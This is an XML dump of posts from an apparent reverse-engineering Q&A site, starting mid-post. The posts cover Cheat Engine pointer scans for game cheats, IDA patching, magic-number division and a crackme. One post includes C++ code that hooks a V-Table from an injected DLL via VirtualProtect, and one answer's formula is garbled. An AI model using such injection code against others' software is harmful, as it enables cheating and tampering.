................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And last but not least, do not use &lt;code&gt;Sd text.bin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000580]&amp;gt; iO d/S/.text &amp;gt; text.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25421" LastEditorUserId="25421" LastEditDate="2020-02-22T16:00:39.487" LastActivityDate="2020-02-22T16:00:39.487" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19139" PostTypeId="1" AcceptedAnswerId="19140" CreationDate="2018-08-23T01:59:57.820" Score="3" ViewCount="310" Body="&lt;p&gt;I'm familiar with finding a player base pointer as-well as other values in games, and finding offsets and such.&#xA;And I have applied that to some of my own code in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But does this practice apply to instances of any class?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example program.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using namespace std;&#xA;&#xA;class A {&#xA;public:&#xA;    int i = 0;&#xA;    virtual void doThing() {&#xA;        i++;&#xA;        cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; endl;&#xA;    }&#xA;&#xA;};&#xA;&#xA;int main()&#xA;{&#xA;    A* a = new A();&#xA;    while (1)&#xA;    {&#xA;        a-&amp;gt;doThing();&#xA;        Sleep(6000);&#xA;    }&#xA;    system(&quot;pause&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used Cheat engine to find the address of the variable &lt;code&gt;i&lt;/code&gt; in &lt;code&gt;A::doThing&lt;/code&gt;. Then I used the option to find what writes to that address. From there I found what appeared to be an offset, did a pointer scan and found that &lt;code&gt;example.exe+0x001A2EC&lt;/code&gt; was a static pointer and the value held by &lt;code&gt;i&lt;/code&gt; was at offset &lt;code&gt;0x4&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would &lt;code&gt;example.exe+0x001A2EC&lt;/code&gt; be considered the pointer to the instance of class &lt;code&gt;A&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is basically make a copy of the target program's pointer to the instance of class &lt;code&gt;A&lt;/code&gt;, then access it's V-Table in my own code which is to be injected into the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I was trying to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD Base = (DWORD)GetModuleHandle(0);&#xA;A* a = (A*)(Base + 0x1A2EC);&#xA;void** vtable = *(void***)a;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there's something wrong with my understanding or methodology please do point out what i am doing wrong, or suggest some other way which I can get a copy of the pointer.&lt;/p&gt;&#xA;" OwnerUserId="25380" LastEditorUserId="2147" LastEditDate="2018-08-23T03:12:37.533" LastActivityDate="2018-08-23T03:12:37.533" Title="Do all class instances have a relative address/offset and can i make a copy of any class pointer?" Tags="|decompilation|c++|offset|vtables|cheat-engine|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19140" PostTypeId="2" ParentId="19139" CreationDate="2018-08-23T03:10:22.403" Score="2" Body="&lt;p&gt;I'll start with a few minor corrections and clarifications, just to make sure we're using the right terms and exact definitions.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I used Cheat engine to find the address of the variable &lt;code&gt;i&lt;/code&gt; in &lt;code&gt;A::doThing&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First of all, &lt;code&gt;i&lt;/code&gt; is not a variable of method &lt;code&gt;A::doThing&lt;/code&gt;. It is a &lt;em&gt;member&lt;/em&gt; of the &lt;code&gt;A&lt;/code&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Then I used the option to find what writes to that address&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Doing this gives you the address of method &lt;code&gt;A::doThing&lt;/code&gt; is located. Specifically, the address at which &lt;code&gt;A::i&lt;/code&gt; is modified within that method.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;from there I found what appeared to be an offset, did a pointer scan&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would assume you found the offset of &lt;code&gt;A&lt;/code&gt; at which &lt;code&gt;i&lt;/code&gt; is located, but I'm not 100% I understand what you mean by &quot;did a pointer scan&quot;. I assume you subtracted the offset of &lt;code&gt;i&lt;/code&gt; from the address found at the first stage (&quot;I used Cheat engine to find the address of the variable &lt;code&gt;i&lt;/code&gt;&quot;) to get the address of the object itself, then searched for pointers to that address.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Would &quot;example.exe&quot;+0001A2EC be considered the pointer to the instance of A class?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To be more accurate, &lt;code&gt;example.exe+0x001A2EC&lt;/code&gt; would be an address of a variable of type &lt;code&gt;A *&lt;/code&gt; (or pointer to an &lt;code&gt;A&lt;/code&gt; instance), and it's value will be the value returned by &lt;code&gt;new A();&lt;/code&gt;, i.e. an instance of class &lt;code&gt;A&lt;/code&gt;, as you expect. Reading it's value will point you to where that instance of &lt;code&gt;A&lt;/code&gt; is currently in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt; several assumptions you have may change between releases or even for different compiled versions of the same code base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most obvious one in your example code, is the fact you're using the &lt;strong&gt;exetuable's image base&lt;/strong&gt; to access the &lt;strong&gt;main thread's stack&lt;/strong&gt;. This is likely to break depending on how/where the stack is allocated for your process, and is likely to be unreliable even if executed several times in succession, depending on OS and configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you somehow address that, there are multiple other potential complications and slight changes that could make your life harder. To name a few:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Even if you were using the process's stack offset instead of the image base, the offset in memory where the &lt;code&gt;A&lt;/code&gt; pointer variable, &lt;code&gt;a&lt;/code&gt;, is located is likely to change. &lt;em&gt;even just between different executions of an identical binary&lt;/em&gt;. For example, in your case &lt;code&gt;a&lt;/code&gt; is stored on the stack, and if the function defining &lt;code&gt;a&lt;/code&gt; could be called in several different flows, the &lt;em&gt;stack depth&lt;/em&gt; at which the stack frame of the function creating &lt;code&gt;a&lt;/code&gt; may differ. if a function &lt;code&gt;a_creator&lt;/code&gt; may be called in either one of two flows &lt;code&gt;main/a_creator&lt;/code&gt; and &lt;code&gt;main/game_load/a_creator&lt;/code&gt; depending on circumstances (e.g. if you're loading a save), the offset at which &lt;code&gt;a_craetor&lt;/code&gt;'s stack frame will start will be different.&lt;/li&gt;&#xA;&lt;li&gt;The offset at which &lt;code&gt;i&lt;/code&gt; is located in the &lt;code&gt;A&lt;/code&gt; class's internal structure, may be changed because new members were added in the code. Although normally maintain the order members are defined at, optimizations may shift them around for better alignment. Different padding configuration settings may also change the location a member is actually at.&lt;/li&gt;&#xA;&lt;li&gt;Different optimization configurations may even completely eliminate the variable &lt;code&gt;a&lt;/code&gt;, only storing it in a non-volatile register. This is very likely in the example implementation you provided, for example.&lt;/li&gt;&#xA;&lt;li&gt;A new version of the program can easily create move variables and make code changes so locations will be completely off.&lt;/li&gt;&#xA;&lt;li&gt;Inheritance and casting of &lt;code&gt;a&lt;/code&gt; could lead you to different VTables than the ones you were looking for, as well as other complications.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope this did not discourage you from pursuing your goal, but encouraged you to gain a better understanding of the internals and intricate world of dynamic patching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note I'll include a warning about anti-cheat detection tools in a lot of games could make these endeavors quite expensive (account bans, etc).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-08-23T03:10:22.403" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19141" PostTypeId="1" CreationDate="2018-08-23T03:50:51.853" Score="1" ViewCount="156" Body="&lt;p&gt;I face a problem, when od is loaded and open win32 application, it auto go to kernel mode, can we change to normal mode? thanks&lt;/p&gt;&#xA;" OwnerUserId="25349" LastActivityDate="2018-08-23T04:32:38.397" Title="OD mode change from kernel to normal" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19142" PostTypeId="2" ParentId="19141" CreationDate="2018-08-23T04:32:38.397" Score="1" Body="&lt;p&gt;If I get you question correctly, you want to change where OllyDbg breaks first when the executable is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change that by going to: &lt;code&gt;Options&lt;/code&gt; -&gt; &lt;code&gt;Option...&lt;/code&gt;. And then selecting the &lt;code&gt;Startup and exit&lt;/code&gt; under the &lt;code&gt;Debugging&lt;/code&gt;. There you have an option to select where it will stop when executable is loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/egAs0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/egAs0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably have &lt;code&gt;System breakpoint&lt;/code&gt; selected.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-08-23T04:32:38.397" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19144" PostTypeId="1" AcceptedAnswerId="19145" CreationDate="2018-08-23T06:47:39.403" Score="3" ViewCount="473" Body="&lt;p&gt;I am trying to hack health cheat for Shanghai Dragon PC Game using Cheat Engine. For that I following this &lt;a href=&quot;https://www.youtube.com/watch?v=No5plevD8A4&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After finding the required address, I tried to save the pointer scan address, then it gives me this warning message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DKwxA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DKwxA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to get rid of this error during pointer scan? &lt;/p&gt;&#xA;" OwnerUserId="25423" LastActivityDate="2018-08-24T01:18:29.133" Title="How to get rid of this error during pointer scan?" Tags="|cheat-engine|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19145" PostTypeId="2" ParentId="19144" CreationDate="2018-08-24T01:18:29.133" Score="3" Body="&lt;p&gt;That is not an error. It's a message you will receive the first time you start a pointer scan with a new address. After you've scanned once, you can save that pointermap with which to compare against the next scan related to the value you're interested in finding a persistent pointer path for. You can save each subsequent pointermap and keep comparing that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guy in the video doesn't have you do that. He has you keep the initial results window up and then keep rescanning after each restart of the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That message is a confirmation letting you know that an initial scan can take up a vast amount of disk space, especially in hefty modern day games. The video you linked to uses Assault Cube as its game target, which is a very small game and shouldn't take very long to scan (nor should it take up much disk space).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few possible reasons as to why you didn't see that confirmation in the video you've linked to, so don't get too hung up on that. Just click &quot;Yes&quot; and be aware that, depending on the game you're scanning and your system, it can take anywhere from 30 seconds to 12+ hours for an initial pointer scan to complete, and your disk space can be eaten alive in the process.&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-08-24T01:18:29.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19146" PostTypeId="2" ParentId="19119" CreationDate="2018-08-24T11:10:26.817" Score="1" Body="&lt;p&gt;You can not create a copy of your input file from within IDA. But if you copy it to a different location, you can point IDA to patch it there by changing the input file path in the patch program window (I verified that in IDA Free 7.0). Afterwards, you change the &quot;Application path&quot; and input file in the Process Options dialog inside the debugger menu to run the patched version. (I verified the presence of these settings in IDA Pro 5.6, I don't have a later commercial version at hand).&lt;/p&gt;&#xA;" OwnerUserId="21359" LastActivityDate="2018-08-24T11:10:26.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19147" PostTypeId="1" CreationDate="2018-08-24T14:00:56.413" Score="1" ViewCount="695" Body="&lt;p&gt;Okay so not too long ago i was introduced to the concept of hooking/detouring, it took me some time to get my head around, but despite the lack of information available, eventually i was able to hook &lt;code&gt;BeginScene&lt;/code&gt; and &lt;code&gt;EndScene&lt;/code&gt; using &lt;strong&gt;IDA&lt;/strong&gt;, &lt;code&gt;MS Detours&lt;/code&gt; and one of the sample &lt;code&gt;d3d9&lt;/code&gt; applications for testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i realised, that was just one way to do it, so i decided that i'd like to also become familiar with the other methods i'd seen used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This led me to do some studying on V-Tables, and more specifically, a practice that has been described as dynamic patching of V-Tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found that the typical way of doing this for &lt;code&gt;DirectX&lt;/code&gt; is to create a &quot;Dummy device&quot; Then alter it's V-Table, which supposedly affects all instances of the device class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went on to try create a scaled down environment using my own class with a single virtual function and some code that instantiated said class, then continuously called said function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then injected some code that had access to a copy of this class, it created a new instance and attempted to patch the V-Table function pointer with that of another function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i soon found that the way i'd set it up just didn't work as i'd expected.&#xA;I'm quite certain it modified the V-Table, but only for that instance of the class. &#xA;(i'd tested this by combining the code into a single program which simply called the function, grabbed the V-Table, modified it to point to another function, then called the function again to confirm it had been swapped)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i wonder, what is it about DirectX that makes it possible to patch the original V-Table using a new instance of a device class/object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is hot patching something specific to COM, or is there some other explanation, maybe i have it all wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(EDIT)&#xA;Here's what i'm trying to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Target:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using namespace std;&#xA;&#xA;class A {&#xA;public:&#xA;    virtual void doThing() {&#xA;        cout &amp;lt;&amp;lt; &quot;Class A doThing&quot; &amp;lt;&amp;lt; endl;&#xA;    }&#xA;&#xA;};&#xA;&#xA;&#xA;void dynamicOverride() {&#xA;    cout &amp;lt;&amp;lt; &quot;Function replaced&quot; &amp;lt;&amp;lt; endl;&#xA;}&#xA;&#xA;&#xA;int main()&#xA;{&#xA;&#xA;    A* a = new A();&#xA;    while (1)&#xA;    {&#xA;        a-&amp;gt;doThing();&#xA;        Sleep(2000);&#xA;    }&#xA;&#xA;    system(&quot;pause&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code to inject:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;using namespace std;&#xA;&#xA;class A {&#xA;public:&#xA;    virtual void doThing() {&#xA;        cout &amp;lt;&amp;lt; &quot;Class A doThing&quot; &amp;lt;&amp;lt; endl;&#xA;    }&#xA;&#xA;};&#xA;&#xA;&#xA;void dynamicOverride() {&#xA;    cout &amp;lt;&amp;lt; &quot;Function replaced&quot; &amp;lt;&amp;lt; endl;&#xA;}&#xA;&#xA;&#xA;void MainThread()&#xA;{&#xA;    A* a = new A();&#xA;    void** vtable = *(void***)a;&#xA;&#xA;    DWORD curProtection;&#xA;    VirtualProtect(&amp;amp;vtable[0], 4, PAGE_EXECUTE_READWRITE, &amp;amp;curProtection);&#xA;    vtable[0] = dynamicOverride;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've seen this done in code that hooks various &lt;code&gt;d3d9&lt;/code&gt; functions, most refer to it as creating a dummy device.&#xA;But in this case when i try use a class in a DLL and inject the code to modify the V-Table for that class. It never affects the instance of that class in the target process.&lt;/p&gt;&#xA;" OwnerUserId="25380" LastEditorUserId="25380" LastEditDate="2018-08-25T02:09:13.697" LastActivityDate="2018-08-27T20:32:52.387" Title="Does V-Table patching (via DLL injection) only work for COM objects/classes?" Tags="|patching|vtables|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="19148" PostTypeId="2" ParentId="19106" CreationDate="2018-08-24T17:24:58.643" Score="1" Body="&lt;p&gt;IDA is able to parse exception handling tables at least for Visual C++. It annotates the code blocks referenced in the table with the try comments, and also annotates the exception handling code with a comment like &quot;exception handler for try block at XXX&quot;. I tend to not use graph view, so I can only guess that the extra edges in the flow graph point from the try block to exception handling blocks. &lt;/p&gt;&#xA;" OwnerUserId="21359" LastActivityDate="2018-08-24T17:24:58.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19149" PostTypeId="2" ParentId="19093" CreationDate="2018-08-24T17:34:52.437" Score="0" Body="&lt;p&gt;Exited cleanly means that the process was not terminated by a signal, but called the exit system call. This happens usually due to a call to exit, _exit or returning from main. The number in parenthesis is the &lt;em&gt;exit code&lt;/em&gt;, which is the parameter passed to exit or the value returned from main.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are lucky, the number is unique to the check that failed. If you are unlucky, there is code to terminate the process on tampering which directly calls the exit system call without setting the register used for the exit code, so the number is mostly &quot;random junk&quot;. &lt;/p&gt;&#xA;" OwnerUserId="21359" LastActivityDate="2018-08-24T17:34:52.437" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19150" PostTypeId="1" AcceptedAnswerId="19151" CreationDate="2018-08-24T18:56:38.640" Score="2" ViewCount="1265" Body="&lt;p&gt;I've opened a 64 bit DLL file in IDA. One function has this pseudocode:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned __int64 output;&#xA;ULONG input;&#xA;output = (unsigned __int64)(input * (unsigned __int128)0xE38E38E38E38E38Fui64 &amp;gt;&amp;gt; 64) &amp;gt;&amp;gt; 5;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the equivalent assembly view:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     rcx, r13&#xA;mov     [rsp+56], rcx&#xA;mov     edx, [rsp+152]&#xA;mov     rax, 0E38E38E38E38E38Fh&#xA;mul     rdx&#xA;mov     r8, rdx&#xA;shr     r8, 5&#xA;mov     [r15], r8d&#xA;cmp     r8d, esi&#xA;cmova   r8d, ebx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I want to compile that same code in MSVC++, it shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;warning C4293: '&amp;gt;&amp;gt;': shift count negative or too big, undefined behavior&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is, what does that long constant value do? Is there anything cryptic with that bit shifting?&lt;/p&gt;&#xA;" OwnerUserId="23069" LastEditorUserId="2147" LastEditDate="2018-08-25T19:46:24.420" LastActivityDate="2018-08-25T19:46:24.420" Title="What does this magic number do?" Tags="|disassembly|assembly|x86|compiler-optimization|" AnswerCount="1" CommentCount="0" ClosedDate="2018-08-24T21:29:55.197" ContentLicense="CC BY-SA 4.0" />
  <row Id="19151" PostTypeId="2" ParentId="19150" CreationDate="2018-08-24T20:34:22.567" Score="2" Body="&lt;p&gt;&lt;em&gt;although I flagged this question should be closed as duplicate, keeping it has some additional value because of the multiple different magic number values used, redirecting users encountering different magic values to the same resource.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On modern processors, integer division is one of the slowest arithmetic operations you can have a processor perform. Often orders of magnitude slower than other arithmetic operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out that if divisor is constant you can avoid the expensive division operation using clever arithmetic tricks to a set of considerably faster operations (multiplications, additions and shifts), thus reaching overall faster performance at the expense of slightly larger code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is often called &quot;division by magic numbers&quot; because those numbers indeed often look like randomly selected numbers, that is not, however, the case. Compilers (and sometimes humans, too) use those tricks often nowadays, since size of code is less of an issue thanks to the exponential growth of storage capacity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general approach is that we can develop an equation like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;X / Y == X * (1/Y) == sqrt((X * 2^n) * (1/Y)), 2^n) == ((x &amp;lt;&amp;lt; n) * 1/Y)&amp;gt;&amp;gt;n&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, &lt;code&gt;0xE38E38E38E38E38Fui64&lt;/code&gt; with a shift of &lt;code&gt;3&lt;/code&gt; bits is the hardcoded magic number used for division by 9 for unsigned 64 bit integers. Since your code actually shifts by 5, the actual divisor equals &lt;code&gt;9 * 2^2&lt;/code&gt; = &lt;code&gt;36&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-08-24T21:26:31.047" LastActivityDate="2018-08-24T21:26:31.047" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19152" PostTypeId="1" AcceptedAnswerId="19160" CreationDate="2018-08-25T01:43:51.107" Score="0" ViewCount="250" Body="&lt;p&gt;I patch the code for my work. I have a problem with code patching.&#xA;I use IDA pro 6.8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added code like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(Assembly)           (Hex dump)&#xA;mov eax, 638BACh --&amp;gt; B8 AC 8B 63 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not problem until now, but problem occurred when start debugging.&#xA;immediate value change like this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(Assembly)              (Hex dump)&#xA;mov eax, 0AC638BACh --&amp;gt;  B8 AC 8B 63 AC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's wrong with my working?&lt;/p&gt;&#xA;" OwnerUserId="25450" LastEditorUserId="2147" LastEditDate="2018-08-27T22:45:58.523" LastActivityDate="2019-04-25T03:03:30.777" Title="immediate value change when start debugging" Tags="|ida|patching|patch-reversing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19154" PostTypeId="1" CreationDate="2018-08-25T05:45:35.143" Score="0" ViewCount="283" Body="&lt;p&gt;Is there any algorithm that searches through binary file and detects existence of secret S-box built from look-up table (4 bit or 8 bit)? Consider the sbox is unavailable for public&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attached bin data is part of bin file obtained from compiling serpent cipher ( 6 s-boxes) with  uint 32 bit  array on mac os Mach-o file format. if you split the bin data you will find the values of all 6 s-boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My point is lets consider a bin file you obtained and you do not know any thing about the cipher and location of its info in the bin file. The first thing in your search, you want to look for common things such as S-box or lfsr. &#xA;I know that there is a plugin in IDA called findcrypt of common ciphers but iam looking for unknown cipher.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0d00 0000 0300 0000 0b00 0000 0000 0000&#xA;0a00 0000 0600 0000 0500 0000 0c00 0000&#xA;0100 0000 0e00 0000 0400 0000 0700 0000&#xA;0f00 0000 0900 0000 0800 0000 0200 0000&#xA;0500 0000 0800 0000 0200 0000 0e00 0000&#xA;0f00 0000 0600 0000 0c00 0000 0300 0000&#xA;0b00 0000 0400 0000 0700 0000 0900 0000&#xA;0100 0000 0d00 0000 0a00 0000 0000 0000&#xA;0c00 0000 0900 0000 0f00 0000 0400 0000&#xA;0b00 0000 0e00 0000 0100 0000 0200 0000&#xA;0000 0000 0300 0000 0600 0000 0d00 0000&#xA;0500 0000 0800 0000 0a00 0000 0700 0000&#xA;0000 0000 0900 0000 0a00 0000 0700 0000&#xA;0b00 0000 0e00 0000 0600 0000 0d00 0000&#xA;0300 0000 0500 0000 0c00 0000 0200 0000&#xA;0400 0000 0800 0000 0f00 0000 0100 0000&#xA;0500 0000 0000 0000 0800 0000 0300 0000&#xA;0a00 0000 0900 0000 0700 0000 0e00 0000&#xA;0200 0000 0c00 0000 0b00 0000 0600 0000&#xA;0400 0000 0f00 0000 0d00 0000 0100 0000&#xA;0800 0000 0f00 0000 0200 0000 0900 0000&#xA;0400 0000 0100 0000 0d00 0000 0e00 0000&#xA;0b00 0000 0600 0000 0500 0000 0300 0000&#xA;0700 0000 0c00 0000 0a00 0000 0000 0000&#xA;0f00 0000 0a00 0000 0100 0000 0d00 0000&#xA;0500 0000 0300 0000 0600 0000 0000 0000&#xA;0400 0000 0900 0000 0e00 0000 0700 0000&#xA;0200 0000 0c00 0000 0800 0000 0b00 0000&#xA;0300 0000 0000 0000 0600 0000 0d00 0000&#xA;0900 0000 0e00 0000 0f00 0000 0800 0000&#xA;0500 0000 0c00 0000 0b00 0000 0700 0000&#xA;0a00 0000 0100 0000 0400 0000 0200 0000&#xA;0000 0000 0000 0000 0000 0000 0000 0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25408" LastEditorUserId="2318" LastEditDate="2018-08-26T15:20:59.327" LastActivityDate="2018-08-26T15:25:18.013" Title="Algorithm to find secret cipher S-box in bin file" Tags="|binary-analysis|encryption|" AnswerCount="1" CommentCount="2" ClosedDate="2018-08-27T22:16:45.453" ContentLicense="CC BY-SA 4.0" />
  <row Id="19158" PostTypeId="2" ParentId="19154" CreationDate="2018-08-26T15:25:18.013" Score="1" Body="&lt;p&gt;If I'd suspect existence of unknown encryption algorithm in the binary first thing I'd start with would be searching functions which contain too much shift and xor operations relatively to the function size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From these functions I'd try to find s-boxes if there are any by data X-refs. &lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-08-26T15:25:18.013" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19160" PostTypeId="2" ParentId="19152" CreationDate="2018-08-26T21:57:54.947" Score="1" Body="&lt;p&gt;When you start debugging, IDA automatically &lt;em&gt;rebases&lt;/em&gt; your database to the actual load address of the program you are debugging. Due to ASLR, the runtime base address is very likely different from the base address IDA loaded the file to in the database. When the database gets rebased, IDA automatically patched all locations referenced by the relocation table. If the code you patched contained an absolute address before patching, you have a relocation entry for that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can verify my hypothesis by undefining the move instruction. One of the resulting &quot;db&quot; statements will have an autogenerated  &quot;FIXUP&quot; comment if there is a relocation entry affecting that instruction. &lt;/p&gt;&#xA;" OwnerUserId="21359" LastActivityDate="2018-08-26T21:57:54.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19161" PostTypeId="1" CreationDate="2018-08-27T02:26:06.330" Score="1" ViewCount="604" Body="&lt;p&gt;I've already read related posts such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;link1: &lt;a href=&quot;https://stackoverflow.com/questions/24138087/how-can-i-set-a-breakpoint-for-a-button-click-using-ollydbg&quot;&gt;https://stackoverflow.com/questions/24138087/how-can-i-set-a-breakpoint-for-a-button-click-using-ollydbg&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;link2: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3288/how-can-i-set-a-breakpoint-for-a-button-click&quot;&gt;How can I set a breakpoint for a button click?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, none of them helped me out to solve my doubts. My goal here is learning the most possible generic method to jump onto routines triggered by non standard buttons (created by any kind of UI framework).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to ilustrate my concern I've created a dummy &lt;a href=&quot;https://www.dropbox.com/s/g2oq37jz1p8vhwj/crackme1.exe?dl=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;crackme&lt;/a&gt; - (in a range 0-10 I'd say level -1 :))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this exercise to be really useful let's assume:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &quot;crackme&quot; doesn't contain any hardcoded serial you can use&lt;/li&gt;&#xA;&lt;li&gt;The &quot;crackme&quot; doesn't contain any activation message you can use to inspect the code around&lt;/li&gt;&#xA;&lt;li&gt;BMSG such as WM_PARAM/WM_LBUTTONUP, BT_CLICK won't do it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've created this little mcve to ilustrate better my real concern, on the real-world case I'm working on I'd like to read the routine triggered by a button from the beginning to end in order to decode the algorithm used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yeah, the question would be, what are the methods to deal with this particular problem?&lt;/p&gt;&#xA;" OwnerUserId="18079" 